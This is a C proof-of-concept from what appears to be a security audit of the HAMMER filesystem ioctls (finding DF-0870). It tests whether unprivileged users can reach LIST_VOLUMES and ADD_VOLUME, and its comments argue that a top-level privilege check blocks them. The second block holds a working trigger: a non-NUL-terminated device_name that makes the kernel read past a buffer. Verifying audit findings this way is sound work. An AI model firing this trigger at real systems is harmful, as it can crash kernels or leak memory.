DF-0870 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * DF-0870 PoC: probe HAMMER volume ioctls (LIST_VOLUMES / ADD_VOLUME) * from the calling cred to test the finding's "unprivileged access" claim. * * The finding (DF-0870) claims that HAMMERIOC_LIST_VOLUMES is reachable by * ANY user because hammer_ioctl.c:213 has no per-case caps_priv_check, * unlike ADD (line 197) / DEL (line 207). This PoC verifies the actual * reachability by issuing the ioctls on a file on a live HAMMER mount and * printing the resulting errno. * * Source trace (sys/vfs/hammer/hammer_ioctl.c): * 72: error = caps_priv_check(cred, SYSCAP_NOVFS_IOCTL); <-- TOP LEVEL, * applies to ALL * cases including * LIST_VOLUMES. * 213: case HAMMERIOC_LIST_VOLUMES: <-- no per-case * error = hammer_ioc_volume_list(...) re-check, but * the top-level * check at :72 * already ran. * * caps_priv_check() (sys/kern/kern_caps.c:328) returns EPERM unless * cr_uid==0 OR the capability bit __SYSCAP_NOROOTTEST (0x00040000) is set * OR (WHEELOK is set AND caller is in group 0). SYSCAP_NOVFS_IOCTL is * (__SYSCAP_GROUP_9 | 4) == 0x94, which has NEITHER NOROOTTEST NOR WHEELOK * -> unprivileged uid != 0 callers (maxx, uid 1001, no wheel) get EPERM * before they ever reach the LIST_VOLUMES case. * * Usage: ./poc <file-on-hammer-mount> * Print: each ioctl's errno (EPERM = blocked at caps_priv_check, * ENOTTY = not a HAMMER file, 0 = succeeded). */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include <sys/param.h> /* Hammer ioctl headers (userland mirror of the kernel struct). */ #include <vfs/hammer/hammer_ioctl.h> int main(int argc, char **argv) { const char *path; int fd, rc; if (argc != 2) { fprintf(stderr, "usage: %s <file-on-hammer-mount>\n", argv[0]); return 2; } path = argv[1]; printf("== Running as uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid()); printf("== Opening %s\n", path); fd = open(path, O_RDWR); if (fd < 0) { printf("open failed: %s (errno=%d)\n", strerror(errno), errno); return 1; } /* ----- 1. HAMMERIOC_LIST_VOLUMES ----- */ { struct hammer_ioc_volume_list vl; struct hammer_ioc_volume outbuf[8]; memset(&vl, 0, sizeof(vl)); memset(outbuf, 0xee, sizeof(outbuf)); /* poison to spot writes */ vl.vols = outbuf; vl.nvols = 8; errno = 0; rc = ioctl(fd, HAMMERIOC_LIST_VOLUMES, &vl); printf("HAMMERIOC_LIST_VOLUMES: rc=%d errno=%d (%s) nvols=%d\n", rc, errno, strerror(errno), vl.nvols); if (rc == 0) { int i; printf("--- VOLUME LIST OUTPUT (privileged leak surface) ---\n"); for (i = 0; i < vl.nvols; i++) { printf(" [%d] vol_no=%d device_name='", i, outbuf[i].vol_no); /* Print bytes until NUL or end of buffer, hexdump the rest. */ { int j; for (j = 0; j < (int)sizeof(outbuf[i].device_name) && outbuf[i].device_name[j]; j++) putchar(outbuf[i].device_name[j] ?: '.'); } printf("' len=%zu\n", strlen(outbuf[i].device_name)); } } } /* ----- 2. HAMMERIOC_ADD_VOLUME with non-NUL-terminated device_name ----- */ /* * This is the actual trigger the finding describes: fill device_name with * 1024 non-NUL bytes so strlen() in kstrdup() walks past the buffer. * We attempt it to show what the cred check does. */ { struct hammer_ioc_volume v; memset(&v, 0xFF, sizeof(v)); /* poison the whole struct */ memset(v.device_name, 'A', MAXPATHLEN); /* NO NUL terminator */ v.head.flags = 0; v.vol_size = 0; v.boot_area_size = 0; v.memory_log_size = 0; errno = 0; rc = ioctl(fd, HAMMERIOC_ADD_VOLUME, &v); printf("HAMMERIOC_ADD_VOLUME (non-NUL device_name): rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); } close(fd); return 0; } |